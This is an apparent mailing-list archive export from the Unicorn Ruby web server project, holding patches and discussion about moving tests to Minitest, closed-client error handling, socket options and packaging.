test/unit/test_tee_input.rb | 4 ++--
test/unit/test_upload.rb | 4 ++--
test/unit/test_util.rb | 2 +-
unicorn.gemspec | 1 +
19 files changed, 50 insertions(+), 48 deletions(-)
diff --git a/setup.rb b/setup.rb
index cf1abd9..42ce95c 100644
--- a/setup.rb
+++ b/setup.rb
@@ -1458,14 +1458,10 @@ class Installer
return
end
$stderr.puts 'Running tests...' if verbose?
- begin
- require 'test/unit'
- rescue LoadError
- setup_rb_error 'test/unit cannot loaded. You need Ruby 1.8 or later to invoke this task.'
- end
- runner = Test::Unit::AutoRunner.new(true)
- runner.to_run << TESTDIR
- runner.run
+ $dir = File.dirname(File.expand_path(__FILE__))
+ $LOAD_PATH.unshift $dir
+ $LOAD_PATH.unshift $dir + '/lib/'
+ Dir.glob "./test/**/test_*.rb", &method(:require)
end
#
diff --git a/test/exec/test_exec.rb b/test/exec/test_exec.rb
index 10a1bae..dd13931 100644
--- a/test/exec/test_exec.rb
+++ b/test/exec/test_exec.rb
@@ -20,7 +20,7 @@ unless try_require('rack')
do_test = false
end
-class ExecTest < Test::Unit::TestCase
+class ExecTest < Minitest::Test
trap(:QUIT, 'IGNORE')
HI = <<-EOS
@@ -316,7 +316,7 @@ EOF
assert(system($unicorn_bin, "-h"), "help text returns true")
end
assert_equal 0, File.stat("test_stderr.#$$.log").size
- assert_not_equal 0, File.stat("test_stdout.#$$.log").size
+ refute_equal 0, File.stat("test_stdout.#$$.log").size
lines = File.readlines("test_stdout.#$$.log")
# Be considerate of the on-call technician working from their
@@ -386,7 +386,7 @@ EOF
wait_for_file(old_file)
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal current_pid, new_pid
+ refute_equal current_pid, new_pid
assert_equal current_pid, File.read(old_file).to_i
results = retry_hit(["http://#{@addr}:#{@port}/",
"http://#{@addr}:#{port2}/"])
@@ -448,7 +448,7 @@ EOF
wait_for_file(old_file)
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal current_pid, new_pid
+ refute_equal current_pid, new_pid
assert_equal current_pid, File.read(old_file).to_i
results = retry_hit(["http://#{@addr}:#{@port}/"])
assert_equal String, results[0].class
@@ -520,7 +520,7 @@ EOF
results = retry_hit(["http://#{@addr}:#{@port}/"])
assert_equal String, results[0].class
worker_pid = results[0].to_i
- assert_not_equal pid, worker_pid
+ refute_equal pid, worker_pid
s = UNIXSocket.new(tmp.path)
s.syswrite("GET / HTTP/1.0\r\n\r\n")
results = ''
@@ -755,7 +755,7 @@ EOF
assert_equal String, results.class
end
- assert_not_equal 0, new_log.size
+ refute_equal 0, new_log.size
reexec_usr2_quit_test(pid, pid_file)
end
@@ -777,7 +777,7 @@ EOF
assert_equal String, results[0].class
wait_for_file(pid_file)
new_pid = File.read(pid_file).to_i
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
pid, status = Process.waitpid2(pid)
assert status.success?, "original process exited successfully"
Process.kill(0, new_pid)
@@ -845,7 +845,7 @@ EOF
File.truncate(log.path, 0)
wait_for_file(pid_file)
pid = File.read(pid_file).to_i
- assert_not_equal orig_pid, pid
+ refute_equal orig_pid, pid
curr_fds = `ls -l /proc/#{pid}/fd`.split(/\n/)
assert $?.success?
diff --git a/test/test_helper.rb b/test/test_helper.rb
index c65f2f3..db7def1 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -18,7 +18,7 @@ ENV['NO_PROXY'] ||= ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
DEFAULT_TRIES = 1000
DEFAULT_RES = 0.2
-require 'test/unit'
+require 'minitest/autorun'
require 'net/http'
require 'digest/sha1'
require 'uri'
@@ -34,6 +34,13 @@ if ENV['DEBUG']
Debugger.start
end
+if Minitest.const_defined?('Test')
+ # We're on Minitest 5+. Nothing to do here.
+else
+ # Minitest 4 doesn't have Minitest::Test yet.
+ Minitest::Test = MiniTest::Unit::TestCase
+end
+
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
@@ -199,7 +206,7 @@ def reexec_usr2_quit_test(pid, pid_file)
new_pid = File.read(pid_file).to_i
# kill old master process
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
assert_equal pid, old_pid
Process.kill(:QUIT, old_pid)
retry_hit(["http://#{@addr}:#{@port}/"])
@@ -225,7 +232,7 @@ def reexec_basic_test(pid, pid_file)
wait_master_ready(master_log)
assert File.exist?(pid_file), "pid=#{pid_file} exists"
new_pid = File.read(pid_file).to_i
- assert_not_equal pid, new_pid
+ refute_equal pid, new_pid
Process.kill(0, new_pid)
Process.kill(:QUIT, new_pid)
end
diff --git a/test/unit/test_configurator.rb b/test/unit/test_configurator.rb
index 1298f0e..3aa7076 100644
--- a/test/unit/test_configurator.rb
+++ b/test/unit/test_configurator.rb
@@ -1,12 +1,12 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'tempfile'
require 'unicorn'
TestStruct = Struct.new(
*(Unicorn::Configurator::DEFAULTS.keys + %w(listener_opts listeners)))
-class TestConfigurator < Test::Unit::TestCase
+class TestConfigurator < Minitest::Test
def test_config_init
Unicorn::Configurator.new {}
@@ -137,9 +137,7 @@ class TestConfigurator < Test::Unit::TestCase
test_struct = TestStruct.new
tmp.syswrite("check_client_connection true\n")
- assert_nothing_raised do
- Unicorn::Configurator.new(:config_file => tmp.path).commit!(test_struct)
- end
+ Unicorn::Configurator.new(:config_file => tmp.path).commit!(test_struct)
assert test_struct.check_client_connection
end
diff --git a/test/unit/test_droplet.rb b/test/unit/test_droplet.rb
index 73cf38c..30360db 100644
--- a/test/unit/test_droplet.rb
+++ b/test/unit/test_droplet.rb
@@ -1,7 +1,7 @@
-require 'test/unit'
+require 'test/test_helper'
require 'unicorn'
-class TestDroplet < Test::Unit::TestCase
+class TestDroplet < Minitest::Test
def test_create_many_droplets
now = Time.now.to_i
tmp = (0..1024).map do |i|
diff --git a/test/unit/test_http_parser.rb b/test/unit/test_http_parser.rb
index 8d5b251..23984fd 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -11,7 +11,7 @@ require 'test/test_helper'
include Unicorn
-class HttpParserTest < Test::Unit::TestCase
+class HttpParserTest < Minitest::Test
def test_parse_simple
parser = HttpParser.new
diff --git a/test/unit/test_http_parser_ng.rb b/test/unit/test_http_parser_ng.rb
index ab335ac..65e9ea2 100644
--- a/test/unit/test_http_parser_ng.rb
+++ b/test/unit/test_http_parser_ng.rb
@@ -5,7 +5,7 @@ require 'digest/md5'
include Unicorn
-class HttpParserNgTest < Test::Unit::TestCase
+class HttpParserNgTest < Minitest::Test
def setup
HttpParser.keepalive_requests = HttpParser::KEEPALIVE_REQUESTS_DEFAULT
@@ -456,13 +456,13 @@ class HttpParserNgTest < Test::Unit::TestCase
"#{n.to_s(16)}\r\na\r\n2\r\n..\r\n0\r\n"
assert_equal req, @parser.parse
assert_nil @parser.content_length
- assert_raise(HttpParserError) { @parser.filter_body('', str) }
+ assert_raises(HttpParserError) { @parser.filter_body('', str) }
end
def test_overflow_content_length
n = HttpParser::LENGTH_MAX + 1
@parser.buf << "PUT / HTTP/1.1\r\nContent-Length: #{n}\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_bad_chunk
@@ -472,12 +472,12 @@ class HttpParserNgTest < Test::Unit::TestCase
req = @parser.env
assert_equal req, @parser.parse
assert_nil @parser.content_length
- assert_raise(HttpParserError) { @parser.filter_body("", @parser.buf) }
+ assert_raises(HttpParserError) { @parser.filter_body("", @parser.buf) }
end
def test_bad_content_length
@parser.buf << "PUT / HTTP/1.1\r\nContent-Length: 7ff\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_bad_trailers
@@ -494,7 +494,7 @@ class HttpParserNgTest < Test::Unit::TestCase
assert_equal 'a..', tmp
assert_equal '', str
str << "Transfer-Encoding: identity\r\n\r\n"
- assert_raise(HttpParserError) { @parser.parse }
+ assert_raises(HttpParserError) { @parser.parse }
end
def test_repeat_headers
diff --git a/test/unit/test_http_parser_xftrust.rb b/test/unit/test_http_parser_xftrust.rb
index db8cfa9..373a5f1 100644
--- a/test/unit/test_http_parser_xftrust.rb
+++ b/test/unit/test_http_parser_xftrust.rb
@@ -3,7 +3,7 @@ require 'test/test_helper'
include Unicorn
-class HttpParserXFTrustTest < Test::Unit::TestCase
+class HttpParserXFTrustTest < Minitest::Test
def setup
assert HttpParser.trust_x_forwarded?
end
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index fbda1a2..5c3b7bd 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -8,7 +8,7 @@ require 'test/test_helper'
include Unicorn
-class RequestTest < Test::Unit::TestCase
+class RequestTest < Minitest::Test
class MockRequest < StringIO
alias_method :readpartial, :sysread
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
index 85ac085..aa32e5b 100644
--- a/test/unit/test_response.rb
+++ b/test/unit/test_response.rb
@@ -12,7 +12,7 @@ require 'time'
include Unicorn
-class ResponseTest < Test::Unit::TestCase
+class ResponseTest < Minitest::Test
include Unicorn::HttpResponse
def test_httpdate
diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
index e5b335f..273af7b 100644
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -24,7 +24,7 @@ class TestHandler
end
-class WebServerTest < Test::Unit::TestCase
+class WebServerTest < Minitest::Test
def setup
@valid_request = "GET / HTTP/1.1\r\nHost: www.zedshaw.com\r\nContent-Type: text/plain\r\n\r\n"
diff --git a/test/unit/test_signals.rb b/test/unit/test_signals.rb
index 443c736..4bb32a5 100644
--- a/test/unit/test_signals.rb
+++ b/test/unit/test_signals.rb
@@ -21,7 +21,7 @@ class Dd
end
end
-class SignalsTest < Test::Unit::TestCase
+class SignalsTest < Minitest::Test
def setup
@bs = 1 * 1024 * 1024
diff --git a/test/unit/test_sni_hostnames.rb b/test/unit/test_sni_hostnames.rb
index 457afee..ef9dcb2 100644
--- a/test/unit/test_sni_hostnames.rb
+++ b/test/unit/test_sni_hostnames.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-require "test/unit"
+require "test/test_helper"
require "unicorn"
# this tests an implementation detail, it may change so this test
# can be removed later.
-class TestSniHostnames < Test::Unit::TestCase
+class TestSniHostnames < Minitest::Test
include Unicorn::SSLServer
def setup
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index 8992757..6c70833 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -3,7 +3,7 @@
require 'test/test_helper'
require 'tempfile'
-class TestSocketHelper < Test::Unit::TestCase
+class TestSocketHelper < Minitest::Test
include Unicorn::SocketHelper
attr_reader :logger
GET_SLASH = "GET / HTTP/1.0\r\n\r\n".freeze
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3..ea4d069 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -1,10 +1,10 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'digest/sha1'
require 'unicorn'
-class TestStreamInput < Test::Unit::TestCase
+class TestStreamInput < Minitest::Test
def setup
@rs = $/
@env = {}
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 0c2c941..59a12cb 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -1,6 +1,6 @@
# -*- encoding: binary -*-
-require 'test/unit'
+require 'test/test_helper'
require 'digest/sha1'
require 'unicorn'
@@ -8,7 +8,7 @@ class TeeInput < Unicorn::TeeInput
attr_accessor :tmp, :len
end
-class TestTeeInput < Test::Unit::TestCase
+class TestTeeInput < Minitest::Test
def setup
@rs = $/
diff --git a/test/unit/test_upload.rb b/test/unit/test_upload.rb
index bcce4bc..060afaa 100644
--- a/test/unit/test_upload.rb
+++ b/test/unit/test_upload.rb
@@ -6,7 +6,7 @@ require 'digest/md5'
include Unicorn
-class UploadTest < Test::Unit::TestCase
+class UploadTest < Minitest::Test
def setup
@addr = ENV['UNICORN_TEST_ADDR'] || '127.0.0.1'
@@ -160,7 +160,7 @@ class UploadTest < Test::Unit::TestCase
sock.syswrite("PUT / HTTP/1.0\r\nContent-Length: #{length}\r\n\r\n")
@count.times { sock.syswrite(buf) }
- assert_raise(Errno::ECONNRESET, Errno::EPIPE) do
+ assert_raises(Errno::ECONNRESET, Errno::EPIPE) do
::Unicorn::Const::CHUNK_SIZE.times { sock.syswrite(buf) }
end
sock.gets
diff --git a/test/unit/test_util.rb b/test/unit/test_util.rb
index 904d51c..28a13cb 100644
--- a/test/unit/test_util.rb
+++ b/test/unit/test_util.rb
@@ -3,7 +3,7 @@
require 'test/test_helper'
require 'tempfile'
-class TestUtil < Test::Unit::TestCase
+class TestUtil < Minitest::Test
EXPECT_FLAGS = File::WRONLY | File::APPEND
def test_reopen_logs_noop
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 4619a89..c990640 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -38,6 +38,7 @@ Gem::Specification.new do |s|
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('isolate', '~> 3.2')
+ s.add_development_dependency('minitest', '~> 5')
s.add_development_dependency('wrongdoc', '~> 1.6.1')
s.licenses = ["GPLv2+", "Ruby 1.8"]
--
1.9.0
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 1%]
* Re: Stucks DB connections
@ 2014-02-24 18:25 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2014-02-24 18:25 UTC (permalink / raw)
To: unicorn list; +Cc: Ilya Bazylchuk
Ilya Bazylchuk <ilya.bazylchuk@gmail.com> wrote:
> Hey Guys,
>
> We have problems with DB connection in unicorn. When workers work some
> hours we see in Postgres activity stucks connections with query
> "COMMIT". After restart unicorn it work fine some time, then
> connections stucks again.
>
> database.yml
>
> adapter: postgis
> postgis_extension: true
> schema_search_path: public,postgis
> encoding: utf8
> pool: 5
> checkout_timeout: 10
>
> unicorn 4.8.2
> pg 0.17.1
> rails 3.2.17
I'm not familiar with postgis. Is there any sort of idle timeout on the
database side? Is this high or low traffic when things get stuck?
I think the postgis/pg adapter guys might be able to help, too, since
unicorn doesn't do anything with the DB connections itself.
Some generic, DB-independent thoughts/questions:
Sometimes, tiny socket buffer sizes with the DB connection might hit this.
Any non-standard kernel/socket knobs or tuning?
Also, if running Linux, which kernel version are you running? If it's
3.7, make sure commit 8fb74b9fb2b182d54beee592350d9ea1f325917a
(mm: compaction: partially revert capture of suitable high-order page)
got backported.
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 3%]
* Re: [PATCH] construct listener_fds Hash in 1.8 compatible way
[not found] <20140129225250.10947.71973@sandbox56423.mailgun.org>
@ 2014-01-29 22:54 0% ` Ernest W. Durbin III
0 siblings, 0 replies; 200+ results
From: Ernest W. Durbin III @ 2014-01-29 22:54 UTC (permalink / raw)
To: unicorn list
Apologies for the spam, I had a wacked out command line tool go
haywire on a message that got stuck in spool months ago.
On Fri, Nov 1, 2013 at 10:12 AM, Ernest W. Durbin III
<ewdurbin@gmail.com> wrote:
> This renables the ability for Ruby 1.8 environments to perform reexecs
> ---
> lib/unicorn/http_server.rb | 7 ++++---
> 1 file changed, 4 insertions(+), 3 deletions(-)
>
> diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
> index 2decd77..9a5795c 100644
> --- a/lib/unicorn/http_server.rb
> +++ b/lib/unicorn/http_server.rb
> @@ -449,13 +449,14 @@ class Unicorn::HttpServer
> end
>
> self.reexec_pid = fork do
> - listener_fds = Hash[LISTENERS.map do |sock|
> + listener_fds = Hash.new
> + LISTENERS.map do |sock|
> # IO#close_on_exec= will be available on any future version of
> # Ruby that sets FD_CLOEXEC by default on new file descriptors
> # ref: http://redmine.ruby-lang.org/issues/5041
> sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
> - [ sock.fileno, sock ]
> - end]
> + listener_fds[sock.fileno] = sock
> + end
> ENV['UNICORN_FD'] = listener_fds.keys.join(',')
> Dir.chdir(START_CTX[:cwd])
> cmd = [ START_CTX[0] ].concat(START_CTX[:argv])
> --
> 1.8.4
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: permissions on ChangeLog and NEWS
2013-11-25 6:01 4% permissions on ChangeLog and NEWS Ken Dreyer
@ 2013-11-25 6:52 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-11-25 6:52 UTC (permalink / raw)
To: unicorn list; +Cc: Ken Dreyer
Ken Dreyer <ktdreyer@ktdreyer.com> wrote:
> Would you mind using the newer version of wrongdoc when you release
> the next version of Unicorn?
Oops, will do. Just upgraded the build/release machine :x
Thanks for the catch.
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* permissions on ChangeLog and NEWS
@ 2013-11-25 6:01 4% Ken Dreyer
2013-11-25 6:52 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Ken Dreyer @ 2013-11-25 6:01 UTC (permalink / raw)
To: mongrel-unicorn
Hello,
Thank you very much for Unicorn. I'm working on packaging the gem for
Fedora [1]. Our "rpmlint" tool found that the permissions of the
ChangeLog and NEWS files were set to 0600 (instead of something more
liberal like 0644).
I see this is fixed upstream in wrongdoc [2], and released in wrongdoc 1.6.2.
Since this was fixed in git a while ago, I was surprised to see this
is still an issue in the recent release of the Unicorn 4.7.0 gem.
Would you mind using the newer version of wrongdoc when you release
the next version of Unicorn?
Thank you very much for your consideration,
- Ken
PS. Please CC me as I am not subscribed to the list.
[1] https://bugzilla.redhat.com/786636
[2] http://bogomips.org/wrongdoc.git/commit/?id=4ed10b7cc4c4e7394416167314e94cef74906d63
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 4%]
* Re: Handling closed clients
[not found] ` <m2iow6k7nk.fsf@macdaddy.atl.damballa>
@ 2013-11-05 20:51 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-11-05 20:51 UTC (permalink / raw)
To: Andrew Hobson; +Cc: mongrel-unicorn
(Please don't cull Cc:, I'm assuming you're not subscribed to the
mailing list since we don't require subscriptions)
Andrew Hobson <ahobson@gmail.com> wrote:
> Eric Wong <normalperson@yhbt.net> writes:
>
> > Those clients should really be hitting nginx, first.
>
> I apologize for not being clear. They are hitting apache first.
Heh, just as bad, since I'm not aware of any Apache config which will
protect unicorn from slow clients.
> > Fwiw, wrapping the app Unicorn::PrereadInput middleware may help in
> > this situation if you're dealing with a buggy local client.
>
> Hmm, I might give that a try.
I expect that to consolidate your errors to one place and your
application wont try to write errors.
But yeah, you're still opening up yourself to slow clients limiting
your concurrency without nginx.
> > IOError usually means an attempt to use the socket when it was already
> > closed (possibly after it hit ECONNRESET/EPIPE/ENOTCONN).
> >
> > The only place we close the client socket where it might be visible to a
> > Rack app is in the eof! method of StreamInput. Based on what I'm
> > reading, this is what's happening.
>
> Our application does not use the socket directly. It is a relatively
> simple sinatra application that is accepting a file upload. As far as I
> can tell from putting in some debugging statements in our code, the
> error happens when we return a 400 error status when certain parameters
> are missing.
Right, however your upload processing will indirectly trigger socket
reads: env["rack.input"].read -> Unicorn::StreamInput#eof! ->
Unicorn::ClientShutdown.
> I should have included this before, so here's an example stack trace
> (using a pre-release gem with the fixes from 24b9f66dcdda44378b4053645333ce9ce336b413):
>
> ERROR -- : app error: closed stream (IOError)
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_response.rb:53:in `write'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_response.rb:53:in `http_response_write'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_server.rb:563:in `process_client'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_server.rb:633:in `worker_loop'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_server.rb:500:in `spawn_missing_workers'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_server.rb:511:in `maintain_worker_count'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/lib/unicorn/http_server.rb:277:in `join'
> ERROR -- : gems/unicorn-4.6.3.5.ga9df/bin/unicorn:126:in `<top (required)>'
> ERROR -- : bin/unicorn:21:in `load'
> ERROR -- : bin/unicorn:21:in `<main>'
Yep, I had your stack trace in my mind already :)
> So it looks to me like what happens is that unicorn tries to write to
> the socket to report the error and then it hits a generic IOError,
> possibly from kgio:
>
> http://bogomips.org/kgio.git/tree/ext/kgio/my_fileno.h#n34
Yes, but it would really happen from anything which attempted to
use the socket.
> > However, lately, I'm thinking merely calling .shutdown on the socket is
> > sufficient (patch below), and the close just confuses things.
>
> I tried it out on my test case below.
>
> > The Rack application should _always_ be trapping exceptions it
> > generates, including DB. Where we log "app error" is only to tell the
> > app author to fix their code and prevent a buggy app from completely
> > breaking a worker.
>
> I agree that applications should be trapping exceptions. I speculated
> that the change is "incompatible" because now buggy applications that
> raise EOFError will not report a 500 error. In fact, they won't return
> anything at all. Maybe that's ok, but it seems like a pretty big change.
> Or maybe I am misunderstanding entirely.
Applications need to be aware of who raises EOFError. It would handle
it differently if it's a backend connection it makes or if a client
triggered it (Unicorn::ClientShutdown).
Since Unicorn::ClientShutdown is a subclass of EOFError, that should
make things a little easier to distinguish (but unfortunately, forces
some client code to be Unicorn-specific).
> > Your patch is badly whitespace mangled so I can't apply it.
>
> Please accept my apologies for the sloppiness. I have included a non
> mangled version below.
>
> I think the test case I added called test_file_streamed_request_close
> accurately reproduces the situation we are encountering, even though it
> does so in a very heavy handed way. The change to handle_error fixes
> the test case, but it does change the behavior of another test case.
>
> > Anyways, I think closing the socket while app dispatch is running
> > is sufficient to avoid IOError (you'll end up hitting ENOTCONN
> > instead, I think).
>
> I applied the patch, but it does not fix the
> test_file_streamed_request_close test case I have created.
Right. The socket is no longer closed with my patch, so
your test case does not reproduce what unicorn might do internally.
> Thank you for your feedback,
>
> diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
> index 402f133..3620427 100644
> --- a/lib/unicorn/http_server.rb
> +++ b/lib/unicorn/http_server.rb
> @@ -547,8 +547,6 @@ class Unicorn::HttpServer
> # the socket is closed at the end of this function
> def handle_error(client, e)
> code = case e
> - when EOFError,Errno::ECONNRESET,Errno::EPIPE,Errno::ENOTCONN
> - # client disconnected on us and there's nothing we can do
Removing this is bad, at least the Errno::* portions since
we might be outside of app dispatch and log_error would spew
a backtrace for every single dropped/incomplete connection
(this is still an issue on a LAN for me, but I use the worst LANs in
the world :x)
I'm trying to minimize the places we call IO#close on the socket,
since we'll trigger IOError in other places (as you've experienced).
> when Unicorn::RequestURITooLongError
> 414
> when Unicorn::RequestEntityTooLargeError
> @@ -556,8 +554,12 @@ class Unicorn::HttpServer
> when Unicorn::HttpParserError # try to tell the client they're bad
> 400
> else
> - Unicorn.log_error(@logger, "app error", e)
> - 500
> + if client.closed?
> + # client disconnected on us and there's nothing we can do
> + else
> + Unicorn.log_error(@logger, "app error", e)
> + 500
> + end
> end
> if code
> client.kgio_trywrite(err_response(code, @request.response_start_sent))
In other words, your change to handle_error would fail the following case:
--- a/test/unit/test_server.rb
+++ b/test/unit/test_server.rb
@@ -265,4 +267,29 @@ class WebServerTest < Test::Unit::TestCase
def test_listener_names
assert_equal [ "127.0.0.1:#@port" ], Unicorn.listener_names
end
+
+ def test_eof_headers
+ teardown
+ app = lambda { |env| [200, {}, []] }
+ redirect_test_io do
+ @server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
+ @server.start
+ end
+
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n") # partial request
+ sock.shutdown
+ assert_raises(EOFError) { sock.readpartial(666) }
+ sock.close
+
+ # just send another complete request to ensure the log message from the
+ # first (failed) request is flushed out to FS
+ sock = TCPSocket.new('127.0.0.1', @port)
+ sock.syswrite("GET / HTTP/1.0\r\n\r\n")
+ assert_match %r{200 OK}, sock.read
+ sock.close
+
+ lines = File.readlines("test_stderr.#$$.log")
+ assert lines.grep(/app error:/).empty?
+ end
end
(I thought we already had a test for this, but apparently not..)
> diff --git a/test/unit/test_server.rb b/test/unit/test_server.rb
> index e5b335f..2fca1b4 100644
> --- a/test/unit/test_server.rb
> +++ b/test/unit/test_server.rb
> @@ -145,8 +145,7 @@ class WebServerTest < Test::Unit::TestCase
> # processing on us even during app dispatch
> sock.shutdown(Socket::SHUT_WR)
> IO.select([sock], nil, nil, 60) or raise "Timed out"
> - buf = sock.read
> - assert_equal "", buf
> + assert_match %r{\AHTTP/1.[01] 500\b}, sock.sysread(4096)
I don't agree with this at all. 500 means something in the server
broke, but in this case the _client_ broke.
> next_client = Net::HTTP.get(URI.parse("http://127.0.0.1:#@port/"))
> assert_equal 'hello!\n', next_client
> lines = File.readlines("test_stderr.#$$.log")
> @@ -265,4 +264,55 @@ class WebServerTest < Test::Unit::TestCase
> def test_listener_names
> assert_equal [ "127.0.0.1:#@port" ], Unicorn.listener_names
> end
> +
> + # ensure that EOFError from client code is not ignored
> + def test_eof_app
> + teardown
> + app = lambda { |env| raise EOFError }
> + # [200, {}, []] }
> + redirect_test_io do
> + @server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
> + @server.start
> + end
I don't think defining behavior here is good (other than being able to
handle subsequent, unrelated requests with the process). This is a
application bug if it can't handle the exceptions it raises.
> + sock = TCPSocket.new('127.0.0.1', @port)
> + sock.syswrite("GET / HTTP/1.0\r\n\r\n")
> + assert_match %r{\AHTTP/1.[01] 500\b}, sock.sysread(4096)
> + assert_nil sock.close
> + lines = File.readlines("test_stderr.#$$.log")
> + assert lines.grep(/app error:/)
> + end
> +
> + def test_file_streamed_request_close
> + teardown
> + # do a funky dance so that the socket is closed partway though the request
> + tmp = Tempfile.new('test_file_streamed_request_close')
> + app = lambda { |env|
> + while File.zero?(tmp.path)
> + sleep(0.2)
> + end
> + tmp.unlink
> + o = env['rack.input'].instance_variable_get(:@socket)
> + o.close
With my proposed patch to eliminate IO#close from StreamInput,
this test is no longer an accurate representation of unicorn behavior.
> + hdrs = { 'Content-Type' => 'text/plain' }
> + [ 200, hdrs, [ "#$$\n" ] ]
> + }
> + # [200, {}, []] }
> + redirect_test_io do
> + @server = HttpServer.new(app, :listeners => [ "127.0.0.1:#@port"] )
> + @server.start
> + end
> + sock = TCPSocket.new('127.0.0.1', @port)
> + body = "a" * 10
> + long = "PUT /test HTTP/1.1\r\nContent-length: #{body.length + 10}\r\n\r\n" + body
> + sock.syswrite(long)
> + sock.close
> + tmp.puts "ok"
> + tmp.flush
> + while File.exists?(tmp.path)
> + sleep(0.2)
> + end
> + lines = File.readlines("test_stderr.#$$.log")
> + assert lines.grep(/app error:/).empty?
> + end
> +
> end
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Unicorn 4.7.0 tests fail on OSX 10.7.5 and debian squeeze
@ 2013-11-04 18:04 2% Andrew Hobson
0 siblings, 0 replies; 200+ results
From: Andrew Hobson @ 2013-11-04 18:04 UTC (permalink / raw)
To: mongrel-unicorn
Hi,
I am getting failing tests on both OSX and debian squeeze, but the errors are different.
On both my machines, it is commit 7c125886b5862bf20711bae22e6697ad46141434 that breaks the tests.
I am using an old(ish) version of ruby: 1.9.3p125, but I don't think that should matter.
The error I get when I test 4.7.0 on OSX 10.7.5:
: Finished tests in 0.041678s, 263.9282 tests/s, 1943.4714 assertions/s.
:
: 1) Failure:
: test_reuseport(TestSocketHelper) [test/unit/test_socket_helper.rb:193]:
: <1> expected but was
: <512>.
:
: 11 tests, 81 assertions, 1 failures, 0 errors, 0 skips
I don't see how the current test can be platform independent. The following diff fixes OSX for me:
diff --git a/test/unit/test_socket_helper.rb b/test/unit/test_socket_helper.rb
index abc177b..2244442 100644
--- a/test/unit/test_socket_helper.rb
+++ b/test/unit/test_socket_helper.rb
@@ -189,7 +189,6 @@ class TestSocketHelper < Test::Unit::TestCase
port = unused_port @test_addr
name = "#@test_addr:#{port}"
sock = bind_listen(name, :reuseport => true)
- cur = sock.getsockopt(Socket::SOL_SOCKET, SO_REUSEPORT).unpack('i')[0]
- assert_equal 1, cur
+ assert sock.getsockopt(Socket::SOL_SOCKET, SO_REUSEPORT).bool
end if defined?(SO_REUSEPORT)
end
The error I get when I test 4.7.0 on debian squeeze (in a VM):
: 1) Error:
: test_reuseport(TestSocketHelper):
: Errno::ENOPROTOOPT: Protocol not available
: /home/ahobson/git/unicorn/test/ruby-1.9.3/lib/unicorn/socket_helper.rb:183:in `setsockopt'
